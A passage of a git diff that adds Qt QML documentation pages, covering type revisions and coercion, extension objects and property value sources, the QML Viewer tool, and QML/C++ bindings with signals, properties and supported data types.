rootChanged REVISION 1) + + signals: + Q_REVISION(1) void rootChanged(); + }; + \endcode + + To register the new class revision to a particular version the following function is used: + + \code + template<typename T, int metaObjectRevision> + int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) + \endcode + + To register \c CppElement version 1 for \c {MyModule 1.1}: + + \code + qmlRegisterType<QCppElement,1>("MyModule", 1, 1, "CppElement") + \endcode + + \c root is only available when MyModule 1.1 is imported. + + For the same reason, new elements introduced in later versions should use + the minor version argument of qmlRegisterType. + + This feature of the language allows for behavioural changes to be made + without breaking existing applications. Consequently QML module authors + should always remember to document what changed between minor versions, and + QML module users should check that their application still runs correctly + before deploying an updated import statement. + + You may also register the revision of a base class that your module depends upon + using the qmlRegisterRevision() function: + + \code + template<typename T, int metaObjectRevision> + int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor) + \endcode + + For example, if \c BaseObject is changed and now has a revision 1, you can specify that + your module uses the new revision: + + \code + qmlRegisterRevision<BaseObject,1>("MyModule", 1, 1); + \endcode + + This is useful when deriving from base classes not declared as part of your + module, e.g. when extending classes from the QtQuick library. + + The revision feature of QML allows for behavioral changes without breaking + existing applications. Consequently, QML module authors should always + remember to document what changed between minor versions, and QML module + users should check that their application still runs correctly before + deploying an updated import statement. + +\target qml-c++-coercion +\section1 Inheritance and Coercion + + QML supports C++ inheritance hierarchies and can freely coerce between + known, valid object types. This enables the creation of common base classes + that allow the assignment of specialized classes to object or list + properties. + + \snippet examples/declarative/cppextensions/referenceexamples/coercion/example.qml 0 + + The QML snippet shown above assigns a \c Boy object to the \c + BirthdayParty's \c host property, and assigns three other objects to the \c + guests property. Both the \c host and the \c guests properties binds to the + \c Person type, but the assignment is valid as both the \c Boy and \c Girl + objects inherit from \c Person. + + To assign to a property, the property's type must have been + \l{register-c++-type}{registered} to the \l{The QML Engine}{declarative + runtime}. If a type that acts purely as a base class that cannot be + instantiated from QML needs to be registered as well. The + \l qmlRegisterType() is useful for this occasion. + + \code + template<typename T> + int qmlRegisterType() + \endcode + + This function registers the C++ type \a T with the QML system. The + parameterless call to the template function qmlRegisterType() does not + define a mapping between the C++ class and a QML element name, so the type + is not instantiable from QML, but it is available for type coercion. + + \snippet examples/declarative/cppextensions/referenceexamples/coercion/main.cpp 0 + \snippet examples/declarative/cppextensions/referenceexamples/coercion/main.cpp register boy girl + The \c Person class is registered withouth the parameters. Both the + \c Boy and \c Girl class derive from the \c Person class. + + Type \a T must inherit QObject, but there are no restrictions on whether it + is concrete or the signature of its constructor. + + QML will automatically coerce C++ types when assigning to either an object + property, or to a list property. Only if coercion fails does an assignment + error occur. + + The \l{Extending QML - Inheritance and Coercion Example}{Inheritance and Coercion Example} + shows the complete code used to create the \c Boy and \c Girl types. + +\target qml-c++-extension +\section1 Extension Objects + + \snippet examples/declarative/cppextensions/referenceexamples/extended/example.qml 0 + + The \c leftMargin property is a new property to an existing C++ type, + \l QLineEdit, without modifying its source code. + + When integrating existing classes and technology into QML, APIs will + often need tweaking to fit better into the declarative environment. + Although the best results are usually obtained by modifying the original + classes directly, if this is either not possible or is complicated by some + other concerns, extension objects allow limited extension possibilities + without direct modifications. + + \e{Extension objects} add additional properties to an existing type. + Extension objects can only add properties, not signals or methods. An + extended type definition allows the programmer to supply an additional type, + known as the \e{extension type}, when registering the class. The + properties are transparently merged with the original target class when used + from within QML. + + The \l qmlRegisterExtendedType() is for registering extended types. Note + that it has two forms. + \code + template<typename T, typename ExtendedT> + int qmlRegisterExtendedType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) + + template<typename T, typename ExtendedT> + int qmlRegisterExtendedType() + \endcode + functions should be used instead of the regular \c qmlRegisterType() variations. + The arguments are identical to the corresponding non-extension registration functions, + except for the ExtendedT parameter which is the type + of the extension object. + + An extension class is a regular QObject, with a constructor that takes a + QObject pointer. However, the extension class creation is delayed until the + first extended property is accessed. The extension class is created and the + target object is passed in as the parent. When the property on the original + is accessed, the corresponding property on the extension object is used + instead. + + The \l{Extending QML - Extension Objects}{Extension Objects} example + demonstrates a usage of extension objects. + +\section1 Property Value Sources + +\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 0 +\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 1 + +The QML snippet shown above applies a property value source to the \c announcement property. +A property value source generates a value for a property that changes over time. + +Property value sources are most commonly used to do animation. Rather than +constructing an animation object and manually setting the animation's "target" +property, a property value source can be assigned directly to a property of any +type and automatically set up this association. + +The example shown here is rather contrived: the \c announcement property of the +\c BirthdayParty object is a string that is printed every time it is assigned and +the \c HappyBirthdaySong value source generates the lyrics of the song +"Happy Birthday". + +\snippet examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.h 0 + +Normally, assigning an object to a string property would not be allowed. In +the case of a property value source, rather than assigning the object instance +itself, the QML engine sets up an association between the value source and +the property. + +Property value sources are special types that derive from the +QQmlPropertyValueSource base class. This base class contains a single method, +QQmlPropertyValueSource::setTarget(), that the QML engine invokes when +associating the property value source with a property. The relevant part of +the \c HappyBirthdaySong type declaration looks like this: + +\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 0 +\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 1 +\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 2 + +In all other respects, property value sources are regular QML types. They must +be registered with the QML engine using the same macros as other types, and can +contain properties, signals and methods just like other types. + +When a property value source object is assigned to a property, QML first tries +to assign it normally, as though it were a regular QML type. Only if this +assignment fails does the engine call the \l {QQmlPropertyValueSource::}{setTarget()} method. This allows +the type to also be used in contexts other than just as a value source. + +\l {Extending QML - Property Value Source Example} shows the complete code used +to implement the \c HappyBirthdaySong property value source. + +\section1 Optimization and Other Considerations + +The \l{qml-engine-optimization}{ QML Engine} article suggests possible +optimization considerations as memory management and QVariant type usages. + +*/ diff --git a/src/qml/doc/src/qmlviewer.qdoc b/src/qml/doc/src/qmlviewer.qdoc new file mode 100644 index 0000000000..04c6b42966 --- /dev/null +++ b/src/qml/doc/src/qmlviewer.qdoc @@ -0,0 +1,235 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qmlviewer.html +\ingroup qtquick-tools +\title QML Viewer +\ingroup qttools +\brief a tool for testing and loading QML files + +The Declarative UI package includes QML Viewer, a tool for loading QML documents that +makes it easy to quickly develop and debug QML applications. It invokes the QML +runtime to load QML documents and also includes additional features useful for +the development of QML-based applications. + +The QML Viewer is a tool for testing and developing QML applications. It is +\e not intended for use in a production environment and should not be used for the +deployment of QML applications. In those cases, the QML runtime should be invoked +from a Qt application instead; see \l {Qt Declarative UI Runtime} for more +information. + +The viewer is located at \c QTDIR/bin/qmlviewer. To load a \c .qml file +with the viewer, run the viewer and select the file to be opened, or provide the +file path on the command line: + +\code + qmlviewer myqmlfile.qml +\endcode + +On Mac OS X, the QML Viewer application is named "QMLViewer" instead. You +can launch the viewer by opening the QMLViewer application from the Finder, or +from the command line: + +\code + QMLViewer.app/Contents/MacOS/QMLViewer myqmlfile.qml +\endcode + +The QML Viewer has a number of configuration options involving features such as +fullscreen display, module import path configurations, video recording of QML +animations, and OpenGL support. + +To see the configuration options, run \c qmlviewer with the \c -help argument. + + +\section1 Adding module import paths + +Additional module import paths can be provided using the \c -I flag. +For example, the \l{declarative/cppextensions/plugins}{QML plugins example} creates +a C++ plugin identified as \c com.nokia.TimeExample. Since this has a namespaced +identifier, the viewer has to be run with the \c -I flag from the example's +base directory: + +\code +qmlviewer -I . plugins.qml +\endcode + +This adds the current directory to the import path so that the viewer will +find the plugin in the \c com/nokia/TimeExample directory. + +Note by default, the current directory is included in the import search path, +but namespaced modules like \c com.nokia.TimeExample are not found unless +the path is explicitly added. + + +\section1 Loading translation files + +When the QML Viewer loads a QML file, it installs a translation file from a +"i18n" subdirectory relative to that initial file. This directory should contain +translation files named "qml_<language>.qm", where <language> is a two-letter +ISO 639 language, such as "qml_fr.qm", optionally followed by an underscore and +an uppercase two-letter ISO 3166 country code, such as "qml_fr_FR.qm" or +"qml_fr_CA.qm". + +Such files can be created using \l {Qt Linguist}. + +The actual translation file that is loaded depends on the system locale. +Additionally, the viewer will load any translation files specified on the command +line via the \c -translation option. + +See the \l{declarative/i18n}{QML i18n example} for an example. Also, the +\l{scripting.html#internationalization}{Qt Internationalization} documentation +shows how JavaScript code in QML files can be made to use translatable strings. + + +\section1 Loading placeholder data with QML Viewer + +Often, QML applications are prototyped with fake data that is later replaced +by real data sources from C++ plugins. QML Viewer assists in this aspect by +loading fake data into the application context: it looks for a directory named +"dummydata" in the same directory as the target QML file, and any \c .qml +files in that directory are loaded as QML objects and bound to the root context +as properties named after the files. + +For example, this QML document refers to a \c lottoNumbers property which does +not actually exist within the document: + +\qml +import QtQuick 2.0 + +ListView { + width: 200; height: 300 + model: lottoNumbers + delegate: Text { text: number } +} +\endqml + +If within the document's directory, there is a "dummydata" directory which +contains a \c lottoNumbers.qml file like this: + +\qml +import QtQuick 2.0 + +ListModel { + ListElement { number: 23 } + ListElement { number: 44 } + ListElement { number: 78 } +} +\endqml + +Then this model would be automatically loaded into the ListView in the previous document. + +Child properties are included when loaded from dummy data. The following document +refers to a \c clock.time property: + +\qml +import QtQuick 2.0 +Text { text: clock.time } +\endqml + +The text value could be filled by a \c dummydata/clock.qml file with a \c time +property in the root context: + +\qml +import QtQuick 2.0 +QtObject { property int time: 54321 } +\endqml + +To replace this with real data, you can simply bind the real data object to +the root context in C++ using QQmlContext::setContextProperty(). This +is detailed in \l {Using QML Bindings in C++ Applications}. + +\section1 Using the \c runtime object + +QML applications that are loaded with the QML Viewer have access to a special +\c runtime property on the root context. This property provides additional +information about the application's runtime environment through the following properties: + +\table +\row + +\li \c runtime.isActiveWindow + +\li This property indicates whether the QML Viewer window is the current active +window on the system. It is useful for "pausing" an application, particularly +animations, when the QML Viewer loses focus or moves to the background. + +For example, the following animation is only played when the QML Viewer is +the active window: + +\qml +Rectangle { + width: 200; height: 200 + + ColorAnimation on color { + running: runtime.isActiveWindow + loops: Animation.Infinite + from: "green"; to: "blue"; duration: 2000 + } +} +\endqml + +\b{Note:} Since Qt Quick 1.1 this information is accessible outside of the QML Viewer, +through the \c active property of the \l {QML:Qt::application}{Qt.application} object. + +\row + +\li \c runtime.orientation + +\li This property indicates the current orientation of the QML Viewer. +This indicates the orientation currently selected in the QML Viewer's +\e {Settings -> Properties} menu. The \c orientation value can be one of the following: + +\list +\li \c Orientation.Portrait +\li \c Orientation.Landscape +\li \c Orientation.PortraitInverted (Portrait orientation, upside-down) +\li \c Orientation.LandscapeInverted (Landscape orientation, upside-down) +\endlist + +When the viewer's orientation changes, the appearance of the loaded QML document +does not change unless it has been set to respond to changes in +\c runtime.orientation. For example, the following Rectangle changes its +aspect ratio depending on the orientation of the QML Viewer: + +\qml +Rectangle { + id: window + width: 640; height: 480 + + states: State { + name: "landscape" + PropertyChanges { target: window; width: 480; height: 640 } + } + state: (runtime.orientation == Orientation.Landscape + || runtime.orientation == Orientation.LandscapeInverted) ? 'landscape' : '' +} +\endqml + +\endtable +*/ + diff --git a/src/qml/doc/src/qtbinding.qdoc b/src/qml/doc/src/qtbinding.qdoc new file mode 100644 index 0000000000..49a856527c --- /dev/null +++ b/src/qml/doc/src/qtbinding.qdoc @@ -0,0 +1,667 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtbinding.html +\ingroup qml-features +\title Using QML Bindings in C++ Applications +\brief incorporating QML bindings in Qt C++ applications + +QML is designed to be easily extensible to and from C++. The classes in the +Qt Declarative module allow QML components to be loaded and manipulated from C++, and through +Qt's \l{The Meta-Object System}{meta-object system}, QML and C++ objects can easily +communicate through Qt signals and slots. In addition, QML plugins can be written to create +reusable QML components for distribution. + +You may want to mix QML and C++ for a number of reasons. For example: + +\list +\li To use functionality defined in a C++ source (for example, when using a C++ Qt-based data model, or +calling functions in a third-party C++ library) +\li To access functionality in the Qt Declarative module (for example, to dynamically generate +images using QQuickImageProvider) +\li To write your own QML elements (whether for your applications, or for distribution to others) +\endlist + +To use the Qt Declarative module, you must include and link to the module appropriately, as shown on +the \l {QtQml}{module index page}. The \l {Qt Declarative UI Runtime} documentation +shows how to build a basic C++ application that uses this module. + + +\section1 Core module classes + +The Qt Declarative module provides a set of C++ APIs for extending your QML applications from C++ and +embedding QML into C++ applications. There are several core classes in the Qt Declarative module +that provide the essential capabilities for doing this. These are: + +\list +\li QQmlEngine: A QML engine provides the environment for executing QML code. Every +application requires at least one engine instance. +\li QQmlComponent: A component encapsulates a \l{QML Documents}{QML document}. +\li QQmlContext: A context allows an application to expose data to the QML components +created by an engine. +\endlist + +A QQmlEngine allows the configuration of global settings that apply to all of its QML +component instances: for example, the QNetworkAccessManager to be used for network communications, +and the file path to be used for persistent storage. + +QQmlComponent is used to load QML documents. Each QQmlComponent instance represents +a single document. A component can be created from the URL or file path of a QML document, or the raw +QML code of the document. Component instances are instatiated through the +QQmlComponent::create() method, like this: + +\code +QQmlEngine engine; +QQmlComponent component(&engine, QUrl::fromLocalFile("MyRectangle.qml")); +QObject *rectangleInstance = component.create(); + +// ... +delete rectangleInstance; +\endcode + +QML documents can also be loaded using QQuickView. This class provides a convenient +QWidget-based view for embedding QML components into QGraphicsView-based applications. (For other +methods of integrating QML into QWidget-based applications, see \l {Integrating QML Code with existing Qt +UI code}.) + + +\section1 Approaches to using QML with C++ + +There are a number of ways to extend your QML application through C++. For example, you could: + +\list +\li Load a QML component and manipulate it (or its children) from C++ +\li Embed a C++ object and its properties directly into a QML component (for example, to make a +particular C++ object callable from QML, or to replace a dummy list model with a real data set) +\li Define new QML elements (through QObject-based C++ classes) and create them directly from your +QML code +\endlist + +These methods are shown below. Naturally these approaches are not exclusive; you can mix any of +these methods throughout your application as appropriate. + + +\section2 Loading QML Components from C++ + +A QML document can be loaded with QQmlComponent or QQuickView. QQmlComponent +loads a QML component as a C++ object; QQuickView also does this, +but additionally loads the QML component directly into a QGraphicsView. It is convenient for loading +a displayable QML component into a QWidget-based application. + +For example, suppose there is a \c MyItem.qml file that looks like this: + +\snippet doc/snippets/qml/qtbinding/loading/MyItem.qml start +\snippet doc/snippets/qml/qtbinding/loading/MyItem.qml end + +This QML document can be loaded with QQmlComponent or QQuickView with the following +C++ code. Using a QQmlComponent requires calling QQmlComponent::create() to create +a new instance of the component, while a QQuickView automatically creates an instance of the +component, which is accessible via QQuickView::rootObject(): + +\table +\row +\li +\snippet doc/snippets/qml/qtbinding/loading/main.cpp QQmlComponent-a +\dots 0 +\snippet doc/snippets/qml/qtbinding/loading/main.cpp QQmlComponent-b +\li +\snippet doc/snippets/qml/qtbinding/loading/main.cpp QQuickView +\endtable + +This \c object is the instance of the \c MyItem.qml component that has been created. You can now +modify the item's properties using QObject::setProperty() or QQmlProperty: + +\snippet doc/snippets/qml/qtbinding/loading/main.cpp properties + +Alternatively, you can cast the object to its actual type and call functions with compile-time +safety. In this case the base object of \c MyItem.qml is an \l Item, which is defined by the +QQuickItem class: + +\snippet doc/snippets/qml/qtbinding/loading/main.cpp cast + +You can also connect to any signals or call functions defined in the component using +QMetaObject::invokeMethod() and QObject::connect(). See \l {Exchanging data between QML and C++} +below for further details. + +\section3 Locating child objects + +QML components are essentially object trees with children that have siblings and their own children. +Child objects of QML components can be located using the QObject::objectName property with +QObject::findChild(). For example, if the root item in \c MyItem.qml had a child \l Rectangle item: + +\snippet doc/snippets/qml/qtbinding/loading/MyItem.qml start +\codeline +\snippet doc/snippets/qml/qtbinding/loading/MyItem.qml child +\snippet doc/snippets/qml/qtbinding/loading/MyItem.qml end + +The child could be located like this: + +\snippet doc/snippets/qml/qtbinding/loading/main.cpp findChild + +If \c objectName is used inside a delegate of a ListView, \l Repeater or some other +element that creates multiple instances of its delegates, there will be multiple children with +the same \c objectName. In this case, QObject::findChildren() can be used to find all children +with a matching \c objectName. + +\warning While it is possible to use C++ to access and manipulate QML objects deep into the +object tree, we recommend that you do not take this approach outside of application +testing and prototyping. One strength of QML and C++ integration is the ability to implement the +QML user interface separately from the C++ logic and dataset backend, and this strategy breaks if the +C++ side reaches deep into the QML components to manipulate them directly. This would make it difficult +to, for example, swap a QML view component for another view, if the new component was missing a +required \c objectName. It is better for the C++ implementation to know as little as possible about +the QML user interface implementation and the composition of the QML object tree. + + +\section2 Embedding C++ Objects into QML Components + +When loading a QML scene into a C++ application, it can be useful to directly embed C++ data into +the QML object. QQmlContext enables this by exposing data to the context of a QML +component, allowing data to be injected from C++ into QML. + +For example, here is a QML item that refers to a \c currentDateTime value that does not exist in +the current scope: + +\snippet doc/snippets/qml/qtbinding/context/MyItem.qml 0 + +This \c currentDateTime value can be set directly by the C++ application that loads the QML +component, using QQmlContext::setContextProperty(): + +\snippet doc/snippets/qml/qtbinding/context/main.cpp 0 + +Context properties can hold either QVariant or QObject* values. This means custom C++ objects can +also be injected using this approach, and these objects can be modified and read directly in QML. +Here, we modify the above example to embed a QObject instance instead of a QDateTime value, and the QML code +invokes a method on the object instance: + +\table +\row +\li +\snippet doc/snippets/qml/qtbinding/context-advanced/applicationdata.h 0 +\codeline +\snippet doc/snippets/qml/qtbinding/context-advanced/main.cpp 0 +\li +\snippet doc/snippets/qml/qtbinding/context-advanced/MyItem.qml 0 +\endtable + +(Note that date/time values returned from C++ to QML can be formatted through +\l{QML:Qt::formatDateTime}{Qt.formatDateTime()} and associated functions.) + +If the QML item needs to receive signals from the context property, it can connect to them using the +\l Connections element. For example, if \c ApplicationData has a signal named \c +dataChanged(), this signal can be connected to using an \c onDataChanged handler within +a \l Connections object: + +\snippet doc/snippets/qml/qtbinding/context-advanced/connections.qml 0 + +Context properties can be useful for using C++ based data models in a QML view. See the +\l {declarative/modelviews/stringlistmodel}{String ListModel}, +\l {declarative/modelviews/objectlistmodel}{Object ListModel} and +\l {declarative/modelviews/abstractitemmodel}{AbstractItemModel} models for +respective examples on using QStringListModel, QObjectList-based models and QAbstractItemModel +in QML views. + +Also see the QQmlContext documentation for more information. + + +\section2 Defining New QML Elements + +While new QML elements can be \l {Defining New Components}{defined in QML}, they can also be +defined by C++ classes; in fact, many of the core \l {QML Elements} are implemented through +C++ classes. When you create a QML object using one of these elements, you are simply creating an +instance of a QObject-based C++ class and setting its properties. + +To create a visual item that fits in with the Qt Quick elements, base your class off \l QQuickItem instead of QObject directly. +You can then implement your own painting and functionality like any other QGraphicsObject. Note that QGraphicsItem::ItemHasNoContents is set by default on QQuickItem because +it does not paint anything; you will need to clear this if your item is supposed to paint anything (as opposed to being solely for input handling or logical grouping). + +For example, here is an \c ImageViewer class with an \c image URL property: + +\snippet doc/snippets/qml/qtbinding/newelements/imageviewer.h 0 + +Aside from the fact that it inherits QQuickItem, this is an ordinary class that could +exist outside of QML. However, once it is registered with the QML engine using qmlRegisterType(): + +\snippet doc/snippets/qml/qtbinding/newelements/main.cpp register + +Then, any QML code loaded by your C++ application or \l{QQmlExtensionPlugin}{plugin} can create and manipulate +\c ImageViewer objects: + +\snippet doc/snippets/qml/qtbinding/newelements/standalone.qml 0 + + +It is advised that you avoid using QGraphicsItem functionality beyond the properties documented in QQuickItem. +This is because the GraphicsView backend is intended to be an implementation detail for QML, so the QtQuick items can be moved to faster backends as they become available with no change from a QML perspective. +To minimize any porting requirements for custom visual items, try to stick to the documented properties in QQuickItem where possible. Properties QQuickItem inherits but doesn't document are classed as implementation details; they are not officially supported and may disappear between releases. + +Note that custom C++ types do not have to inherit from QQuickItem; this is only necessary if it is +a displayable item. If the item is not displayable, it can simply inherit from QObject. + +For more information on defining new QML elements, see the \l {Tutorial: Writing QML extensions with C++} +{Writing QML extensions with C++} tutorial and the +\l{Extending QML with C++} reference documentation. + + + +\section1 Exchanging Data between QML and C++ + +QML and C++ objects can communicate with one another through signals, slots and property +modifications. For a C++ object, any data that is exposed to Qt's \l{The Meta-Object System}{Meta-Object System} +- that is, properties, signals, slots and Q_INVOKABLE methods - become available to QML. On +the QML side, all QML object data is automatically made available to the meta-object system and can +be accessed from C++. + + +\section2 Calling Functions + +QML functions can be called from C++ and vice-versa. + +All QML functions are exposed to the meta-object system and can be called using +QMetaObject::invokeMethod(). Here is a C++ application that uses this to call a QML function: + +\table +\row +\li \snippet doc/snippets/qml/qtbinding/functions-qml/MyItem.qml 0 +\li \snippet doc/snippets/qml/qtbinding/functions-qml/main.cpp 0 +\endtable + +Notice the Q_RETURN_ARG() and Q_ARG() arguments for QMetaObject::invokeMethod() must be specified as +QVariant types, as this is the generic data type used for QML functions and return values. + +To call a C++ function from QML, the function must be either a Qt slot, or a function marked with +the Q_INVOKABLE macro, to be available to QML. In the following example, the QML code invokes +methods on the \c myObject object, which has been set using QQmlContext::setContextProperty(): + +\table +\row +\li +\snippet doc/snippets/qml/qtbinding/functions-cpp/MyItem.qml 0 +\li +\snippet doc/snippets/qml/qtbinding/functions-cpp/myclass.h 0 +\codeline +\snippet doc/snippets/qml/qtbinding/functions-cpp/main.cpp 0 +\endtable + +QML supports the calling of overloaded C++ functions. If there are multiple C++ functions with the +same name but different arguments, the correct function will be called according to the number and +the types of arguments that are provided. + + +\section2 Receiving Signals + +All QML signals are automatically available to C++, and can be connected to using QObject::connect() +like any ordinary Qt C++ signal. In return, any C++ signal can be received by a QML object using +\l {Signal Handlers}{signal handlers}. + +Here is a QML component with a signal named \c qmlSignal. This signal is connected to a C++ object's +slot using QObject::connect(), so that the \c cppSlot() method is called whenever the \c qmlSignal +is emitted: + +\table +\row +\li +\snippet doc/snippets/qml/qtbinding/signals-qml/MyItem.qml 0 +\li +\snippet doc/snippets/qml/qtbinding/signals-qml/myclass.h 0 +\codeline +\snippet doc/snippets/qml/qtbinding/signals-qml/main.cpp 0 +\endtable + +To connect to Qt C++ signals from within QML, use a signal handler with the \c on<SignalName> syntax. +If the C++ object is directly creatable from within QML (see \l {Defining new QML elements} above) +then the signal handler can be defined within the object declaration. In the following example, the +QML code creates a \c ImageViewer object, and the \c imageChanged and \c loadingError signals of the +C++ object are connected to through \c onImagedChanged and \c onLoadingError signal handlers in QML: + +\table +\row +\li + +\snippet doc/snippets/qml/qtbinding/signals-cpp/imageviewer.h start +\dots 4 +\snippet doc/snippets/qml/qtbinding/signals-cpp/imageviewer.h end + +\li +\snippet doc/snippets/qml/qtbinding/signals-cpp/standalone.qml 0 +\endtable + +(Note that if a signal has been declared as the NOTIFY signal for a property, QML allows it to be +received with an \c on<Property>Changed handler even if the signal's name does not follow the \c +<Property>Changed naming convention. In the above example, if the "imageChanged" signal was named +"imageModified" instead, the \c onImageChanged signal handler would still be called.) + +If, however, the object with the signal is not created from within the QML code, and the QML item only has a +reference to the created object - for example, if the object was set using +QQmlContext::setContextProperty() - then the \l Connections element can be used +instead to create the signal handler: + +\table +\row +\li \snippet doc/snippets/qml/qtbinding/signals-cpp/main.cpp connections +\li \snippet doc/snippets/qml/qtbinding/signals-cpp/MyItem.qml 0 +\endtable + +C++ signals can use enum values as parameters provided that the enum is declared in the +class that is emitting the signal, and that the enum is registered using Q_ENUMS. +See \l {Using enumerations of a custom type} below for details. + + +\section2 Modifying Properties + +Any properties declared in a QML object are automatically accessible from C++. Given a QML item +like this: + +\snippet doc/snippets/qml/qtbinding/properties-qml/MyItem.qml 0 + +The value of the \c someNumber property can be set and read using QQmlProperty, or +QObject::setProperty() and QObject::property(): + +\snippet doc/snippets/qml/qtbinding/properties-qml/main.cpp 0 + +You should always use QObject::setProperty(), QQmlProperty or QMetaProperty::write() to +change a QML property value, to ensure the QML engine is made aware of the property change. For example, +say you have a custom element \c PushButton with a \c buttonText property that internally reflects +the value of a \c m_buttonText member variable. Modifying the member variable directly like this is +not a good idea: + +\badcode +// BAD! +QQmlComponent component(engine, "MyButton.qml"); +PushButton *button = qobject_cast<PushButton*>(component.create()); +button->m_buttonText = "Click me"; +\endcode + +Since the value is changed directly, this bypasses Qt's \l{The Meta-Object System}{meta-object system} +and the QML engine is not made aware of the property change. This means property bindings to +\c buttonText would not be updated, and any \c onButtonTextChanged handlers would not be called. + + +\target properties-cpp + +Any \l {The Property System}{Qt properties} - that is, those declared with the Q_PROPERTY() +macro - are accessible from QML. Here is a modified version of the \l {Embedding C++ objects into +QML components}{earlier example} on this page; here, the \c ApplicationData class has a \c backgroundColor +property. This property can be written to and read from QML: + +\table +\row +\li \snippet doc/snippets/qml/qtbinding/properties-cpp/applicationdata.h 0 +\li \snippet doc/snippets/qml/qtbinding/properties-cpp/MyItem.qml 0 +\endtable + +Notice the \c backgroundColorChanged signal is declared as the NOTIFY signal for the +\c backgroundColor property. If a Qt property does not have an associated NOTIFY signal, +the property cannot be used for \l{Property Binding in QML}, as the QML engine would not be +notified when the value changes. If you are using custom types in QML, make sure their +properties have NOTIFY signals so that they can be used in property bindings. + +See \l {Tutorial: Writing QML extensions with C++} for further details and examples +on using Qt properties with QML. + + +\section1 Supported data types + +Any C++ data that is used from QML - whether as custom properties, or parameters for signals or +functions - must be of a type that is recognizable by QML. + +By default, QML recognizes the following data types: + +\list +\li bool +\li unsigned int, int +\li float, double, qreal +\li QString +\li QUrl +\li QColor +\li QDate, QTime, QDateTime +\li QPoint, QPointF +\li QSize, QSizeF +\li QRect, QRectF +\li QVariant +\li QVariantList, QVariantMap +\li QObject* +\li Enumerations declared with Q_ENUMS() +\endlist + +To allow a custom C++ type to be created or used in QML, the C++ class must be registered as a QML +type using qmlRegisterType(), as shown in the \l {Defining new QML elements} section above. + + +\section2 JavaScript Arrays and Objects + +There is built-in support for automatic type conversion between QVariantList and JavaScript +arrays, and QVariantMap and JavaScript objects. + +For example, the function defined in QML below left expects two arguments, an array and an object, and prints +their contents using the standard JavaScript syntax for array and object item access. The C++ code +below right calls this function, passing a QVariantList and a QVariantMap, which are automatically +converted to JavaScript array and object values, repectively: + +\table +\header +\li Type +\li String format +\li Example +\row +\li \snippet doc/snippets/qml/qtbinding/variantlistmap/MyItem.qml 0 +\li \snippet doc/snippets/qml/qtbinding/variantlistmap/main.cpp 0 +\endtable + +This produces output like: + +\code +Array item: 10 +Array item: #00ff00 +Array item: bottles +Object item: language = QML +Object item: released = Tue Sep 21 2010 00:00:00 GMT+1000 (EST) +\endcode + +Similarly, if a C++ type uses a QVariantList or QVariantMap type for a property or method +parameter, the value can be created as a JavaScript array or object in the QML +side, and is automatically converted to a QVariantList or QVariantMap when it is passed to C++. + + +\section2 Using Enumerations of a Custom Type + +To use an enumeration from a custom C++ component, the enumeration must be declared with Q_ENUMS() to +register it with Qt's meta object system. For example, the following C++ type has a \c Status enum: + +\snippet doc/snippets/qml/qtbinding/enums/imageviewer.h start +\snippet doc/snippets/qml/qtbinding/enums/imageviewer.h end + +Providing the \c ImageViewer class has been registered using qmlRegisterType(), its \c Status enum can +now be used from QML: + +\snippet doc/snippets/qml/qtbinding/enums/standalone.qml 0 + +The C++ type must be registered with QML to use its enums. If your C++ type is not instantiable, it +can be registered using qmlRegisterUncreatableType(). To be accessible from QML, the names of enum values +must begin with a capital letter. + +See the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++} tutorial and +the \l{Extending QML with C++} reference documentation for +more information. + + +\section2 Using Enumeration Values as Signal and Method Parameters + +C++ signals may pass enumeration values as signal parameters to QML, providing that the enumeration +and the signal are declared within the same class, or that the enumeration value is one of those declared +in the \l {Qt}{Qt Namespace}. + +Likewise, invokable C++ method parameters may be enumeration values providing +that the enumeration and the method are declared within the same class, or that +the enumeration value is one of those declared in the \l {Qt}{Qt Namespace}. + +Additionally, if a C++ signal with an enum parameter should be connectable to a QML function using the +\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals}{connect()} +function, the enum type must be registered using qRegisterMetaType(). + +For QML signals, enum values may be used as signal parameters using the \c int type: + +\snippet doc/snippets/qml/qtbinding/enums/standalone.qml 1 + + +\section2 Automatic Type Conversion from Strings + +As a convenience, some basic types can be specified in QML using format strings to make it easier to +pass simple values from QML to C++. + +\table +\header +\li Type +\li String format +\li Example +\row +\li QColor +\li Color name, "#RRGGBB", "#RRGGBBAA" +\li "red", "#ff0000", "#ff000000" +\row +\li QDate +\li "YYYY-MM-DD" +\li "2010-05-31" +\row +\li QPoint +\li "x,y" +\li "10,20" +\row +\li QRect +\li "x,y,WidthxHeight" +\li "50,50,100x100" +\row +\li QSize +\li "WidthxHeight" +\li "100x200" +\row +\li QTime +\li "hh:mm:ss" +\li "14:22:55" +\row +\li QUrl +\li URL string +\li "http://www.example.com" +\row +\li QVector3D +\li "x,y,z" +\li "0,1,0" +\row +\li Enumeration value +\li Enum value name +\li "AlignRight" +\endtable + +(More details on these string formats and types can be found in the +\l {QML Basic Types}{basic type documentation}.) + +These string 